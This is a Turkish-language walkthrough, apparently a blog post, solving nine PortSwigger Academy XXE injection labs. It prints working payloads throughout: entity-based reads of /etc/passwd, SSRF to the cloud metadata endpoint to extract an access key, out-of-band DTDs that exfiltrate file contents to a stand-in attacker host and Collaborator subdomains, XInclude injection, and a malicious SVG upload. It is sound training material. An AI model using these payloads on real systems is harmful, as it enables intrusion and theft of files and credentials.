Arif ARI
12 min readFeb 22, 2022

PORTSWIGGER WEB SECURITY - XXE (XML EXTERNAL ENTITY) INJECTION LAB ÇÖZÜMLERİ

XXE (XML External Entity) Injection, bir saldırganın web uygulama üzerinde XML verilerini enjekte etmesine veya değiştirmesine olanak tanıyan web güvenlik zafiyetidir. XXE zafiyeti, bir saldırganın uygulama sunucusunun sistemindeki dosyaları görüntülemesine ve back-end yada bağlantılı bir dış kaynak ile etkileşim kurmasına neden olabilir. Bazı durumlarda ise XXE zafiyeti nedeniyle SSRF saldırıları gerçekleştirilebilir.

Bazı web uygulamaları, tarayıcı ve sunucu arasındaki veri iletimi için XML biçimini kullanmaktadır. Sunucudaki XML verilerini işlemek için de çoğunlukla standart bir kitaplık veya platforma uygun API kullanır. XML verilerinde yer alan özellikler yanlış veya eksik yazıldığında tehlikeli sonuçlara neden olmaktadır.

Bu çalışmada bahsedilen XXE Injection zafiyeti için tüm laboratuvar çözümleri ele alınmıştır. Keyifli okumalar..

Bir web uygulamasının stok kontrolünü yapmak için sunucuya,

<?xml version=”1.0" encoding=”UTF-8"?> <stockCheck><productId>381</productId></stockCheck>

şeklinde bir XML verisini gönderdiğini düşünelim. Web uygulamasında XXE saldırılarına karşı yeterli düzeyde önlem alınmadığı için, XML verisini

<?xml version=”1.0" encoding=”UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]> <stockCheck><productId>&xxe;</productId></stockCheck>

şeklinde değişerek /etc/passwd dosyasını görüntüleyebiliriz.

Lab 1: Exploiting XXE using external entities to retrieve files

Bu web uygulaması veri iletimi için XML biçimini kullanmaktadır. Bu XML kodlarının arasına bir XML kodu enjekte ederek /etc/passwd dosyasını görüntüleyeceğiz.

İlk önce sayfa üzerinde herhangi bir ürün hakkında detaylı bilgi edinmek için View details butonuna tıklayalım. Ardından Check stock butonu ile bir istek gönderip burp suite aracıyla incelediğimizde veri iletimi için bir XML kodunun kullanıldığını göreceğiz.

İsteği repeatera gönderip kod üzerinde XML başlığı ile stockCheck öğesi arasına <!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]> şeklinde bir XML komut satırı enjekte edelim. Bu komut satırı arasında bir xxe parametresi ile yönlendirilme yapılmaktadır. Dolayısıyla productId değerini &xxe; şeklinde değişelim ve isteği send edelim. Yanıtta productId değerinin geçersiz olduğunu bildiren bir string ile /etc/passwd içeriğini elde etmiş olacağız.

Congratulations, you solved the lab!

Lab 2: Exploiting XXE to perform SSRF attacks

Saldırgan, XXE zafiyeti nedeniyle hassas verileri elde edebildiği gibi bu zafiyeti kullanarak SSRF saldırıları da gerçekleştirebilmektedir.

Laboratuvar sunucusu, default tanımlanan bir URL adresinde simüle edilmiş bir EC2 metadata endpointi (uç nokta) çalıştırmaktadır ve bu uç noktada bir erişim anahtarı (access key) mevcuttur. Bu anahtarı elde etmek için de http://169.254.169.254/ URL adresini kullanacağız.

Sayfa üzerinde herhangi bir ürün hakkında detaylı bilgi edinmek için View details butonuna tıklayalım. Ardından Check stock butonu ile bir istek gönderip burp suite aracıyla incelediğimizde veri iletimi için bir XML kodunun kullanıldığını göreceğiz.

İsteği repeatera gönderip kod üzerinde XML başlığı ile stockCheck öğesi arasına <!DOCTYPE test [ <!ENTITY xxe SYSTEM “http://169.254.169.254/"> ]> şeklinde bir XML komut satırı enjekte edelim. Bu komut satırı arasında bir xxe parametresi ile yönlendirilme yapılmaktadır. Dolayısıyla productId değerini &xxe; şeklinde değişelim ve isteği send edelim. Yanıtta productId değerinin geçersiz olduğunu bildiren bir string ile latest adında bir dizin elde etmiş olacağız. Bir önceki laboratuvarda enjekte ettiğimiz komut satırıyla bir dosya içeriğini görüntülemişken burada bir URL adresinin içeriğini görüntüledik.

Şimdi URL adresine elde ettiğimiz latest dizinini ekleyelim ve isteği send edelim. Yanıtta productId değerinin geçersiz olduğunu bildiren bir string ile meta-data adında bir dizin elde etmiş olacağız. Uç noktada bir admin dizini mevcuttur. Bu dizini görüntüleyene dek sırasıyla bu şekilde devam edelim.

meta-data içeriğinde iam dizini, iam içeriğinde security-credentials dizini, security-credentials içeriğinde ise admin dizini mevcuttur. En sonunda admin dizinini görüntülediğimizde SecretAccessKey başlığı altında erişim anahtarını elde etmiş olacağız.

Congratulations, you solved the lab!

Lab 3: Blind XXE with out-of-band interaction

XXE zafiyetlerinin çoğu Blind türündedir yani back-end’den gelen response front-end tarafında görülmemektedir. Dolayısıyla sunucu tarafında dosyaların doğrudan alınması mümkün değildir. Daha gelişmiş teknikler (OAST teknikleri) kullanılarak Blind XXE zafiyetleri tespit edilebilir. OAST (Out-of-band application security testing) teknikleri, var olan fakat kullanıcının göremeyeceği zafiyetleri tespit etmek adına harici sunucular kullanılarak zafiyetin tespit edildiği yöntemlerdir.

Bu laboratuvarda, XML kodları arasına daha önce olduğu gibi bir XML komut satırı enjekte edeceğiz. Bu XML komut satırına da Burp Collaborator sunucusundan alınan bir subdomain adresi tanımlayarak bu subdomain adresine bir HTTP isteği gönderilmesini ve bir DNS araması yapılmasını sağlayacağız.

Sayfa üzerinde herhangi bir ürün hakkında detaylı bilgi edinmek için View details butonuna tıklayalım. Ardından Check stock butonu ile bir istek gönderip burp suite aracıyla incelediğimizde veri iletimi için bir XML kodunun kullanıldığını göreceğiz.

Alıntı Ekran

Burp Suite aracında ki Burp Collaborator client bölümünden bir subdomain adresi (y2la6wjmmn7b2gs9bie56jly4pafy4.burpcollaborator.net) kopyalayalım.

Kod üzerinde XML başlığı ile stockCheck öğesi arasına <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM “http://y2la6wjmmn7b2gs9bie56jly4pafy4.burpcollaborator.net"> ]> şeklinde bir XML komut satırı enjekte edelim. Bu komut satırı arasında bir xxe parametresi ile yönlendirilme yapılmaktadır. Dolayısıyla productId değerini &xxe; şeklinde değişelim ve isteği forward edelim.

Alıntı Ekran

İsteği forward ettikten sonra Burp Collaborator client bölümünden yaptığımız HTTP isteğini ve DNS aramasını Poll now seçeneğine tıklayarak görebiliriz. Laboratuvarın çözümü bu şekildedir.

Congratulations, you solved the lab!

Lab 4: Blind XXE with out-of-band interaction via XML parameter entities

Bazen, web uygulaması tarafından bazı XML giriş değerleri tehlikeli olarak algılanıp filtrelenebilir, engellenebilir. Böyle bir durumda XML parametre entity’leri kullanılabilir. Örneğin <!DOCTYPE test [ <!ENTITY xxe SYSTEM “http://web-attacker.com/"> ]> komut satırında xxe parametresinin önüne % işaretini kullanabiliriz.

Bu laboratuvarda bir öncekinde olduğu gibi Burp Collaborator kullanarak belirteceğimiz subdomain adresine bir HTTP isteği gönderilmesini ve bir DNS araması yapılmasını sağlayacağız.

Sayfa üzerinde herhangi bir ürün hakkında detaylı bilgi edinmek için View details butonuna tıklayalım. Ardından Check stock butonu ile bir istek gönderip burp suite aracıyla incelediğimizde veri iletimi için bir XML kodunun kullanıldığını göreceğiz.

Alıntı Ekran

Burp Collaborator client bölümünden bir subdomain adresi (8w5zztlcc2wp407cjhcq5uyg4ha8yx.burpcollaborator.net) kopyalayalım.

Kod üzerinde XML başlığı ile stockCheck öğesi arasına <!DOCTYPE stockCheck [ <!ENTITY % xxe SYSTEM “http://8w5zztlcc2wp407cjhcq5uyg4ha8yx.burpcollaborator.net"> ]> şeklinde bir XML komut satırı enjekte edelim. Bu komut satırı arasında bir xxe parametresi ile yönlendirilme yapılmaktadır. Dolayısıyla komut satırının son tarafında % xxe; tanımlayalım ve isteği forward edelim.

Alıntı Ekran

İsteği forward ettikten sonra Burp Collaborator client bölümünden yaptığımız HTTP isteğini ve DNS aramasını Poll now seçeneğine tıklayarak görebiliriz. Laboratuvarın çözümü bu şekildedir.

Congratulations, you solved the lab!

Lab 5: Exploiting blind XXE to exfiltrate data using a malicious external DTD

Blind XXE zafiyetinin tespiti için çoğu zaman out-of-band tekniklerinin kullanıldığından bahsetmiştik. Tespit için sıklıkla kullanılmakta fakat bu zafiyeti nasıl istismar edeceğimiz konusunda eksik kalmaktadır. Bir saldırgan zafiyetin tespitinden ziyade daha çok istismarıyla ilgilenir ve hassas verileri ele geçirmek ister. Örneğin /etc/passwd dosyasının içeriğini elde etmek için <!ENTITY % file SYSTEM “file:///etc/passwd”> <!ENTITY % eval “<!ENTITY &#x25; exfiltrate SYSTEM ‘http://web-attacker.com/?x=%file;'>"> %eval; %exfiltrate; şeklinde zararlı bir DTD çalıştırabilir. Kısaca açıklamak gerekirse DTD, XML işaretleme dilinin önemli özelliklerinden biridir ve XML’i tanımlamak amacıyla kullanılan yapıdır diyebiliriz.

Bu laboratuvarda bir öncekinde olduğu gibi Burp Collaborator kullanarak belirteceğimiz subdomain adresine bir HTTP isteği gönderilmesini ve bir DNS araması yapılmasını sağlayacağız. Bunun sonucunda HTTP isteğinde yer alan /etc/hostname dosyasının içeriğini elde edeceğiz.

İlk önce Burp Collaborator client bölümünden bir subdomain adresi (t93vg8aelhcygcznxy80iph7vy1opd.burpcollaborator.net) kopyalayalım.

Ardından exploit sunucusuna gidelim ve file dosyasını .dtd uzantılı olacak şekilde düzenleyelim. Body alanında, <!ENTITY % file SYSTEM “file:///etc/hostname”> <!ENTITY % eval “<!ENTITY &#x25; exfil SYSTEM ‘http://t93vg8aelhcygcznxy80iph7vy1opd.burpcollaborator.net/?x=%file;'>"> %eval; %exfil; şeklinde içerisinde subdomain adresini barındıran bir zararlı DTD store ediyoruz.

Burada /etc/hostname dosyasının içeriğini görüntülemek için file adlı bir XML parametresi tanımladık. Saldırganın web sunucusuna, /etc/hostname içeriğini almasını sağlayacak bit HTTP isteği yapılacaktır.

Şimdi sayfa üzerinde herhangi bir ürün hakkında detaylı bilgi edinmek için View details butonuna tıklayalım. Check stock butonu ile bir istek gönderip burp suite aracıyla incelediğimizde veri iletimi için bir XML kodunun kullanıldığını görüyoruz.

Kod üzerinde XML başlığı ile stockCheck öğesi arasına <!DOCTYPE foo [<!ENTITY % xxe SYSTEM “https://exploit-ac5c1fcb1e0f39ffc0441bbd01ba0058.web-security-academy.net/exploit.dtd”> %xxe;]> şeklinde bir XML komut satırı enjekte edelim. Bu komut satırı arasında bir xxe parametresi ile yönlendirilme yapılmaktadır. Dolayısıyla komut satırının son tarafında % xxe; tanımlayalım ve isteği forward edelim.

NOT: Bu komut satırında belirttiğimiz URL, exploit sunucusunda yer alan dtd uzantılı URL adresidir. İstek gönderildikten sonra Exploit sunucusunda store ettiğimiz DTD çalışacaktır.

İsteği forward ettikten sonra Burp Collaborator client bölümünden yaptığımız HTTP isteğini ve DNS aramasını Poll now seçeneğine tıklayarak görebiliriz. HTTP Collaborator isteğini incelediğimizde /etc/hostname değerini tespit edeceğiz.

Submit solutions sekmesinden /etc/hostname değerini doğruladıktan sonra laboratuvarı çözmüş olacağız.

Lab 6: Exploiting blind XXE to retrieve data via error messages

Web uygulamaları bazen gönderilen isteğin yanıtında hata mesajıyla beraber istenilen hassas veriyi kullanıcıya döndürmektedir.

Bu laboratuvarda XXE zafiyetinin istismarına yönelik bir öncekine göre alternatif bir yöntem deneyeceğiz. Web uygulaması, gönderilen istek sonucunda istenilen içeriği bize bir hata mesajıyla beraber görüntüleyecektir.

Exploit sunucusuna gidelim ve file dosyasını .dtd uzantılı olacak şekilde düzenleyelim. Body alanında, <!ENTITY % file SYSTEM “file:///etc/passwd”> <!ENTITY % eval “<!ENTITY &#x25; exfil SYSTEM ‘file:///invalid/%file;’>”> %eval; %exfil; şeklinde /etc/passwd dosyasının içeriğini görüntülememize olanak tanıyan bir zararlı DTD store ediyoruz.

Sayfa üzerinde herhangi bir ürün hakkında detaylı bilgi edinmek için View details butonuna tıklayalım. Check stock butonu ile bir istek gönderip burp suite aracıyla incelediğimizde veri iletimi için bir XML kodunun kullanıldığını görüyoruz. İsteği repeatera gönderelim.

Kod üzerinde XML başlığı ile stockCheck öğesi arasına <!DOCTYPE foo [<!ENTITY % xxe SYSTEM “https://exploit-aca21f541e710e77c0d80895016400c3.web-security-academy.net/exploit.dtd”> %xxe;]> şeklinde bir XML kodu enjekte edelim. Bu komut satırı arasında bir xxe parametresi ile yönlendirilme yapılmaktadır. Dolayısıyla komut satırının son tarafında % xxe; tanımlayalım ve isteği send edelim. Yanıtta bir hata mesajıyla beraber /etc/passwd içeriğini görüntülemiş olacağız.

NOT: Bu komut satırında belirttiğimiz URL, exploit sunucusunda yer alan dtd uzantılı URL adresidir. İstek gönderildikten sonra Exploit sunucusunda store ettiğimiz DTD çalışacaktır.

Congratulations, you solved the lab!

Lab 7: Exploiting XXE to retrieve data by repurposing a local DTD

Bir önce ki laboratuvarda kullanılan teknik, harici bir DTD çalıştırılarak gerçekleştirilmişti. Bir exploit sunucusunda depoladığımız DTD’yi burp suite aracında referans olarak gösterip laboratuvarı çözümlemiştik. Fakat DTD dahili olarak yani direkt DOCTYPE öğesi içerisinde belirtilseydi çalışmayacaktı. Bu laboratuvarda kullanılacak DTD yapısı DOCTYPE öğesi içerisinde direkt olarak çalıştırılabildiği için bir dış kaynağa (exploit server gibi) gerek kalmamaktadır.

Örneğin, /usr/local/app/schema.dtd konumunda yer alan sunucu dosya sisteminde bir DTD dosyası olduğunu ve bu DTD dosyasının custom_entity adlı bir varlık tanımladığını varsayalım. Saldırgan,

<!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM “file:///usr/local/app/schema.dtd”> <!ENTITY % custom_entity ‘ <!ENTITY &#x25; file SYSTEM “file:///etc/passwd”> <!ENTITY &#x25; eval “<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>”> &#x25;eval; &#x25;error; ‘> %local_dtd; ]>

şeklinde karışık bir DTD çalıştırarak, bir XML parsing hatasıyla beraber /etc/passwd dosyasının içeriğini görüntüleyebilir.

Bu XXE saldırısıyla, sunucu dosya sistemindeki bir DTD’yi başka bir amaçla kullanacağımız için dahili bir dosyaya gerek duyulmaktadır. Örneğin, GNOME masaüstü ortamını kullanan Linux sistemlerinde, /usr/share/yelp/dtd/docbookx.dtd konumunda genellikle ISOamso adında bir entity içeren DTD dosyası bulunur. Bu dosyanın mevcut olup olmadığını <!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM “file:///usr/share/yelp/dtd/docbookx.dtd”> %local_dtd; ]> şeklinde bir XXE payloadı göndererek anlayabiliriz. Böyle bir dosya mevcut değil ise hataya sebep olacaktır. Şimdi bu bilgiler dahilinde laboratuvarı çözeceğiz.

Sayfa üzerinde herhangi bir ürün hakkında detaylı bilgi edinmek için View details butonuna tıklayalım. Check stock butonu ile bir istek gönderip burp suite aracıyla incelediğimizde veri iletimi için bir XML kodunun kullanıldığını görüyoruz. İsteği repeatera gönderelim.

Kod üzerinde XML başlığı ile stockCheck öğesi arasına <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM “file:///usr/share/yelp/dtd/docbookx.dtd”> <!ENTITY % ISOamso ‘ <!ENTITY &#x25; file SYSTEM “file:///etc/passwd”> <!ENTITY &#x25; eval “<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>”> &#x25;eval; &#x25;error; ‘> %local_dtd; ]> şeklinde bir XML kodu enjekte edip isteği send edelim. Yanıtta bir hata mesajıyla beraber /etc/passwd içeriğini görüntülemiş olacağız.

NOT: Burada /etc/passwd dosyasının içeriğini görüntülemek için file adlı bir XML parametresi tanımladık ve bu parametreye bir dtd dosyasının konumunu belirttik. Harici DTD dosyasında zaten tanımlanmış bir custom_entity varlığı mevcuttur. Bu XML parametre varlığını yeniden tanımlayınca bir hataya sebep olarak /etc/passwd içeriğini görüntüleyebiliyoruz.

Congratulations, you solved the lab!

Lab 8: Exploiting XInclude to retrieve files

XML verilerini içeren bir web uygulamasında XXE injection zafiyeti için saldırı yüzeyi çok daha net olduğu için XXE saldırısı yapmak daha kolaydır. Aksi durumlarda saldırı yüzeyi daha az olduğu için gözden kaçabilmektedir. Fakat analiz ederken doğru noktaları irdelersek, XML içermeyen isteklerde dahi XXE saldırılarının gerçekleştirilebileceğini görebiliriz.

Bazı uygulamalar istemci tarafından gönderilen verileri aldıktan sonra bu verileri sunucu tarafında bir XML belgesine enjekte eder ve ondan sonra belgeyi parse eder. Örneğin, istemci tarafından gönderilen veriler, back-end tarafında bir SOAP hizmeti tarafından işlenen bir arka uç SOAP isteğine yerleştirildiğinde ortaya çıkar. Böyle bir durumda klasik bir XXE saldırısı gerçekleştiremeyiz çünkü tüm XML belgesini kontrol edemiyoruz. Dolayısıyla bir DOCTYPE öğesi de tanımlayamaz veya değiştiremeyiz. Bu yüzden DOCTYPE yerine XInclude öğesini kullanarak saldırı gerçekleştireceğiz.

Bir XML belgesindeki herhangi bir veriye bir XInclude komut satırı enjekte edebiliriz. Bu laboratuvarda XInclude öğesini kullanarak bir saldırı komutu enjekte edeceğiz ve /etc/passwd dosyasının içeriğini görüntüleyeceğiz.

Sayfa üzerinde herhangi bir ürün hakkında detaylı bilgi edinmek için View details butonuna tıklayalım. Check stock butonu ile bir istek gönderip burp suite aracıyla incelediğimizde productId ve storeId parametreleri üzerinden bir istek gerçekleştiğini göreceğiz. İsteği repeatera gönderelim.

Önceki laboratuvarlarda görünen XML içeriği burada gözükmemektedir. Bu nedenle productId parametresine XXE payloadını enjekte edeceğiz. <foo+xmlns:xi=”http://www.w3.org/2001/XInclude"><xi:include parse=”text”+href=”file:///etc/passwd”/></foo> şeklinde bir komut satırı enjekte ederek isteği send ediyoruz. Yanıtta bir hata mesajıyla beraber /etc/passwd içeriğini görüntülemiş olacağız.

Congratulations, you solved the lab!

Lab 9: Exploiting XXE via image file upload

Bazı web uygulamaları, kullanıcıların sayfaya çeşitli formatlarda dosya yüklemesine imkan sağlamaktadır. Yaygın kullanılan bazı dosya türleri XML kullanmaktadır yada XML alt bileşenlerini içermektedir. XML tabanlı dosya türlerine .docx (word ofis belgesi) ve .svg gibi image uzantıları örnek olarak verilebilir. Örneğin bir web uygulaması, sunucuda işlenen veya doğrulanan image dosyalarını kullanıcıların yüklemesine olanak tanıyabilir. Uygulama .png veya .jpeg uzantılı bir image dosyası yüklenmesini belirtse dahi uygulamada kullanılan görüntü işleme kitaplığı, .svg uzantılı image dosyalarını destekleyebilir. .svg formatı XML kullandığından, saldırgan .svg uzantılı zararlı bir image dosyası yükleyebilir ve bir XXE saldırısı gerçekleştirebilir.

Bu laboratuvar, kullanıcıların yorum sayfasında bir dosya eklemesine olanak tanımaktadır. Image dosyalarını işlemek içinde bir Apache Batik kitaplığını kullanmaktadır. Sayfaya zararlı bir resim dosyası yükleyip /etc/hostname dosyasının içeriğini görüntüleyeceğiz.

Herhangi bir blog sayfasının comment bölümünde bir random değerler input ederek yorumu gönderelim. Comment alanında farklı olarak avatar başlığı altında bir dosya yükleme seçeneği vardır. Burada svg uzantılı zararlı bir image dosyası enjekte ediyoruz.

NOT: Brackets yada Visual Studio gibi bir program kullanılarak içerisinde <?xml version=”1.0" standalone=”yes”?><!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/hostname” > ]><svg width=”128px” height=”128px” xmlns=”http://www.w3.org/2000/svg" xmlns:xlink=”http://www.w3.org/1999/xlink" version=”1.1"><text font-size=”16" x=”0" y=”16">&xxe;</text></svg> kodunu barındıran svg uzantılı bu exploit dosyası oluşturulabilir. Bu svg dosyası ile /etc/hostname değerini elde edeceğiz.

Yorum mesajını gönderip isteği burp aracıyla incelediğimiz zaman gönderilen bilgileri ve svg uzantılı zararlı image dosyasının içeriğini görebilmekteyiz.

İsteği forward edelim ve bloğa geri dönelim. Mesajımız gönderildi fakat herhangi bir image dosyası gözükmemektedir.

Sayfanın kaynak kodunu incelediğimizde gönderilen zararlı image dosyasının filename parametresi altında tanımlandığını göreceğiz.

Bu dosyayı açtığımız zaman /etc/hostname değerini (c46cc40ac3aa) görüntülemiş olacağız.

Submit solution sekmesinden /etc/hostname değeri doğrulandıktan sonra son laboratuvarıda çözmüş olacağız.

Congratulations, you solved the lab!